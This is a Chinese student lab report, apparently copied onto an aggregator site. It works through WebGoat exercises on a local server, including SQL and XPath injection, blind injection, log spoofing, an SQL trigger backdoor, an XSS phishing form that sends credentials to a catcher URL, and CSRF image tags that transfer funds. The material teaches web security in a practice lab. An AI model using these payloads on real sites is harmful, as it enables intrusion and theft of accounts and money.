Exp9 WEB安全基础 20154326杨茜
Posted 20154326杨茜
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了Exp9 WEB安全基础 20154326杨茜相关的知识,希望对你有一定的参考价值。
1.实验后回答问题
(1)SQL注入攻击原理,如何防御
- 感觉上次做的也是sql注入,就是故意的非法输入(输入的是一些指令)让他读进去,然后在里面执行。
- 防御手段:一个是字符串检测,另一个是限制输入字符串的长度。
(2)XSS攻击的原理,如何防御 - xss攻击就是攻击网页使得其他用户查看网页时受到影响。
- 防御手段:程序员应该防止下发界面显示html标签,把</>等符号转义
(3)CSRF攻击原理,如何防御 - 通过伪装来自受信任用户的请求来利用受信任的网站,即受害用户登录受信任网站后,在本地生成了COOKIE而又在不登出该网站的情况下,访问了危险网站,而此时访问的危险网站可能就已经写入了利用你的身份进行而恶意操作的代码
- 防御手段:少登陆不知名网站,不长时间保存cookie、
2.实验总结与体会
这次试验操作上基本没有问题,但是需要思考很多东西还有一个就是英语问题。。。但是,其实我觉得我就是在别人走过的路一路坦然走过,跟着做是很简单,但是如果自己什么参考都不看来做呢?这是最后一次实验了,说实话还是有点舍不得,感觉还没学到什么,虽然实验过程确实是有的时候弄得脑壳痛但是很充实。
3.实践过程记录
启动WebGoat
在杨正晖同学的实验报告中下载好7.0.1.版本的安装包,然后拖到虚拟机的home里。
在终端使用指令
java -jar webgoat-container-7.1-exec.jar
信息: Starting ProtocolHandler ["http-bio-8080"]
打开浏览器,访问localhost:8080/WebGoat,登陆即可开始答题
输入默认户和密码webgoat登陆
(1)string SQL injection
- 字符注入,这里和前面数字注入的方法差不多,构造一个永真式,还是用的之前的\'or 1=\'1
- \'cc\' OR \'1\'=\'1
- SELECT * FROM user_data WHERE last_name = \'cc\' OR \'1\'=\'1\'
XPATH Injection
- 题干的意思大概是你的账号是Mike/test123。你的目标是尝试查看其他员工的数据。
- 和上面一样,尝试构造永真式
yq\' or 1=1 or \'a\'=\'a
Log Spoofing
日志伪造,目的是通过注入恶意字符串,按照规则伪造出一条日志,在Username输入
yq%0d%0aLogin Succeeded for username: admin
-
其中%0d和%0a为CRLF换行符,看到的输出为
Numeric SQL Injection
- 原理大概就是这里有一个SQL语句
SELECT * FROM weather_data WHERE station = [station]
- 可以拦截报文将station字段后补充成一个永真式101 OR 1=1。
-
F12,进入调试窗口
- 把value="101"后面加入or 1=1构成永真式,退出点击go
Database Backdoors
- 利用SQL输入插入后门,首先是一个SQL注入点,可以通过数字注入看到所有人的薪水,然后使用以下SQL指令可以修改薪水
-
在User ID输入框输入:101;update employee set salary = 65000 where userid=101; ,点击提交,如下图所示:
-
用SQL注入注入一个后门,下边这个后门好象是创建新用户的时候会自动修改邮箱为你的邮箱
101; CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email=\'john@hackme.com\'WHERE userid = NEW.userid.
- 点击提交,如下图所示:
Blind Numeric SQL Injection
- 数字盲注,有些时候存在SQL注入,但是获取不到我们需要的信息,此时可以通过SQL语句的条件判断,进行盲注。
- 使用盲注进行爆破,在“Enter your Account Number”输入
101 AND ((SELECT pin FROM pins WHERE cc_number=\'1111222233334444\') > 10000 );
- 根据返回的提示来判断
“(SELECT pin FROM pins WHERE cc_number=\'1111222233334444\') > 10000"
- 为真或为假,逐步缩小范围,最后尝试用2364进行请求,返回成功,然后把2364输入表单,提交,如下图所示:
lind String SQL Injection
- 使用盲注进行爆破,在“Enter your Account Number”输入
101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number=\'4321432143214321\'), 1, 1) = \'h\' );
根据返回的提示来判断name的范围,直至返回成功,然后把Jill输入表单,提交,如下图所示:
Phishing with XSS
- 使用XSS和HTML插入制作一个钓鱼网站,代码如下:
</form>
<script>
function hack(){
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
}
</script>
<form name="phish">
<br><br>
<HR>
<H2>This feature requires account login:</H2>
<br>
<br>Enter Username:<br>
<input type="text" name="user">
<br>Enter Password:<br>
<input type="password" name = "pass">
<br>
<input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
- 把代码注入search 框后跳转页面
- 往下拉到下图界面,随便输入账号密码
反射型XSS(Reflected XSS Attacks)
- 当我们输入错误的用户信息后,服务器校验输入有误,会返回错误页面并将错误内容展示给我们看:
.如果我们将带有攻击性的URL作为输入源,比如,就会弹出对话框
<script>alert("23320154326yq");</script>
存储型xss(Stored XSS Attacks)
- 题目的意思是我们要在信息中添加一个html的标签。
<script>alert("YQ is watching you!");</script>
- 写进tmessage中,跳转之后点进去
Cross Site Request Forgery(CSRF)
- 要求:需要写一个URL诱使其他用户点击,从而触发CSRF攻击. 我们可以以图片的的形式将URL放进Message框,这时的URL对其他用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。
- 查看自己电脑的Screen和menu的值
- 在信息框内输入(这句话的意思是将Funds即金钱转到自己的账户里),点击提交之后可以看到信息
<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=1000000"/>
- 点进去,攻击成功
CSRF Prompt By-Pass
- 和上一个类似,发个邮件给newsgrooup,包含两个恶意请求:一个是转钱的金额,另一个是确认转账。
- 首先还是查看电脑的Screen和menu的值
输入到message中,提交
<img src="attack?Screen=1471017872&menu=900&transferFunds=5000" width="1" height="1"> <img src="attack?Screen=1471017872&menu=900&transferFunds=confirm" width="1" height="1">
- 点进去
以上是关于Exp9 WEB安全基础 20154326杨茜的主要内容,如果未能解决你的问题,请参考以下文章